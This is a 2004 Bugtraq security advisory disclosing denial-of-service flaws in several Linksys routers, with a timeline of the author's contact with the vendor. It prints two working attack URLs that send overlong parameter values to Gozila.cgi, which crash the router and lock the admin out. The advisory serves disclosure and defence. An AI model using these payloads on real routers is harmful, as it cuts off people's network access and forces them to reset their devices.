Bugtraq mailing list archives
DoS vuln in various versions of Linksys routers.
From: b0f www.b0f.net <b0fnet () yahoo com>
Date: 3 Jun 2004 08:28:24 -0000
Denial of Service Vulnerability in Linksys BEFSR41 - Router vuln was identified and tested on. Linksys BEFSR41 v3 Linksys BEFSRU31 Linksys BEFSR11 Linksys BEFSX41 Linksys BEFSR81 v2/v3 Linksys BEFW11S4 v3 Linksys BEFW11S4 v4 Available from www.linksys.com October 19, 2003 (Revised November 10, 2003) Released Date: 3rd June 2004 NOTE: THIS ADVISORY WAS ORIGINALLY WITTEN FOR THE Linksys BEFSR41 EtherFast Cable/DSL Router with 4-Port Switch I. BACKGROUND Linksys Group Inc.'s EtherFast Cable/DSL Router with 4-Port Switch "is the perfect option to connect multiple PCs to a high-speed Broadband Internet connection or to an Ethernet back-bone. Allowing up to 253 users, the built-in NAT technology acts as a firewall protecting your internal network." More information about it is available at http://www.linksys.com/products/product.asp?prid=20&grid=23 II. DESCRIPTION It is possible for a remote/local attacker to crash the linksys router and leave it in a state that it can't be accessed even after reboot due to an invalid password. An attacker could set up a web page or send an html email to someone inside the LAN to indirectly send commands to the router. An attacker could specify a URL that results in denial of service. The DoS Occurs when 2 long strings are sent to the sysPasswd and sysPasswdConfirm Parameters on the Gozila.cgi script, about 150 characters to each parameter Seems to work fine. If an attacker can get the admin of the router to view a link Or goto a webpage that links to such a link as this. http://192.168.1.1/Gozila.cgi?sysPasswd=AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&sysPasswdConfirm=AAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAA&UPnP_Work=1&FactoryDefaults=0 The router will drop all internet connections making the internet inaccessible from the LAN even if the router is powered off and back on. It also seems to change the password in such a way that the admin can't log back into the router and the only way to solve it is by pressing the factory reset button on the front of the router, Which will then reset all previously stored settings and reset the password back to factory default 'admin'. The router would then need to be set back up again from scratch. REVISED NOVEMBER 10, 2003 On November 10 2003 I found another overflow in linksys router which is a similar attack method to the first vuln in this advisory. The DoS occurs in this attack when a long string about 350 characters is passed to the 'DomainName' parameter of the Gozila.cgi script. An example of this attack would be to get the admin of a router to visit a link like this. http://192.168.1.1/Gozila.cgi?hostName=&DomainName=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&WANConnectionSel=0&ipAddr1=192&ipAddr2=168& ipAddr3=1&ipAddr4=1&netMask=0&WANConnectionType=1 This would cause the router to crash and the Factory reset button on the front of the Router would need to be pressed to restore it back to normal working order. III. ANALYSIS Exploitation may be particularly dangerous, especially if the router's remote management capability is enabled. It may also be easily exploited by fooling an admin of the router into clicking a link he/she thinks is valid. This is probably vuln in older version of the firmware. IV. DETECTION This vulnerability affects the BEFSR41 EtherFast Cable/DSL router with the latest firmware version 1.45.7 I also tested version 1.44.2z which is also vuln so probably all other version below this are also vuln . It may also be possible that other version of Linksys routers are vuln to this attack if they use the same type of management. I'm unable to confirm any other models that are vuln to this attack. The Linksys BEFSRU31 and BEFSR11 use the same version of firmware as the BEFSR41 so they are probably vuln. NOTE ADDED June 3rd 2004: The Vendor confirmed this vuln in all version stated at the start of this advisory V. RECOVERY Pressing the reset button on the front of the router and setting it back up from scratch should restore normal functionality to the router. VI. WORKAROUND Don't click untrusted links. VII. VENDOR 19 Oct 2003: First vuln discovered. 10 Nov 2003: Second vuln discovered. 01 Dec 2003: Vendor contacted via security () linksys com 01 Dec 2003: Response Recived from jay.price () linksys com 10 Dec 2003: Issue been turned over to project manager andreas.bang () linksys com 17 Dec 2003: I was sent a beta release of the new firmware witch fixed the vuln but had a bug where the logging function wouldn't work. 22 DEc 2003: andreas.bang () linksys com now moved office now to contact anbang () cisco com 29 Jan 2004: Was told patches would be up in the next week 29 Feb 2004: They said there was a problem with the code, still no patches 24 Mar 2004: Recived a email about patches saying. BEFSR41 v3(Post on by 3/31) BEFSX41 (posted) BEFSR81 v2/v3(in progress) BEFW11S4 v3(post by 3/31) BEFW11S4 v4(posted) 02 Jun 2004: Advisory released to public still no patch for the Linksys BEFSR41 EtherFast Cable/DSL Router with 4-Port Switch http://www.linksys.com/download/firmware.asp?fwid=3 The version this advisory was first written for it still remains vuln to date. b0f (Alan McCaig) b0fnet () yahoo com www.b0f.net
Current thread:
- DoS vuln in various versions of Linksys routers. b0f www . b0f . net (Jun 03)